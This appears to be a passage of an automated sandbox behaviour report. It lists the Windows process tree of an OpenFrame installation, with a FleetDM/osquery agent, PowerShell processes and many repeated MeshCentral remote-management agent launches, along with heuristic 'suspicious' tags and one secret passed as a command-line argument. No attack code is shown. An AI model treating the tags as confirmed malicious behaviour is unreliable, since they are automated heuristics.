      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4496 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:1296
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4644 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:15720
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4552 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:20156
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4772 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:25088
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=348 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c
      4⤵
      PID:25068
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=4652 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c /prefetch:1
      4⤵
      PID:9732
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=4844 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c /prefetch:1
      4⤵
      PID:2288
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=4356 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c /prefetch:1
      4⤵
      PID:10804
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.openframe.chat\EBWebView" --webview-exe-name=agent.exe --webview-exe-version=0.1.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=5224 --field-trial-handle=1776,i,6622666468574422433,4293812964696795558,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:f5d33bfc2e223c910b9b878b12a0263fe1ef042c /prefetch:1
      4⤵
      PID:29304
- C:\ProgramData\OpenFrame\fleetmdm-agent\agent.exe
  "C:\ProgramData\OpenFrame\fleetmdm-agent\agent.exe" uuid --openframe-mode --openframe-osquery-path C:\ProgramData\OpenFrame\fleetmdm-agent\osqueryd.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6504
- C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe
  "C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe" -nodeid-base64
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  PID:4484

C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe" --openframe-mode --openframe-token-path "C:\\ProgramData\\OpenFrame\\secured\\shared_token.enc" --openframe-secret "12345678901234567890123456789012"
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:5720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4836

C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2396
- C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe
  "C:\ProgramData\OpenFrame\meshcentral-agent\agent.exe" -fullinstall
  2⤵
  - Sets service image path in registry
  - Executes dropped EXE
  - Drops file in Windows directory
  - Reads the TCP/IP host and domain name from the registry
  PID:4644

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:6896

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4584

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:5200

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:1560

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:1464

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:4220

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:8452

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:8852

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:8912

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:8968

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:9140

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:10024

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:10412

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:10484

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:10568

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:10624

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:10488

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:11952

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:12040

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:12104

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:12164

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:12008

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:4520

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:13364

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:13452

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:13508

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:13616

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:14828

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:15020

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:15168

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:15308

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:14836

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:15176

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:15280

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:10392

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:13564

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:752

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:15192

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:15228

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:15280

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:14888

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:9132

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:7112

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:7120

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:2596

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:10748

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:5824

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:6624

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:15204

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:15284

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
PID:1352

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:5516

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:688

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:9100

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:15192

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:5020

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:5200

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15036

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:9124

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:5748

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:13572

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:9080

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:9016

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:6576

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:10460

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:10400

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:7016

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:15152

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15088

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:6892

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:15288

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:13564

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:15076

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:6576

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:15088

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15212

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:2756

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:12096

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:6576

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:3780

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:15352

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:15036

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:2076

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:14844

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:9120

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:4040

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:1744

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:1312

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:9056

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
PID:9092

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:10564

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:3972

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:13504

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:1504

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:6852

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
PID:4064

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:6820

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:6968

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
"C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe"
1⤵
PID:4500

C:\ProgramData\OpenFrame\meshcentral-agent\MeshAgent.exe
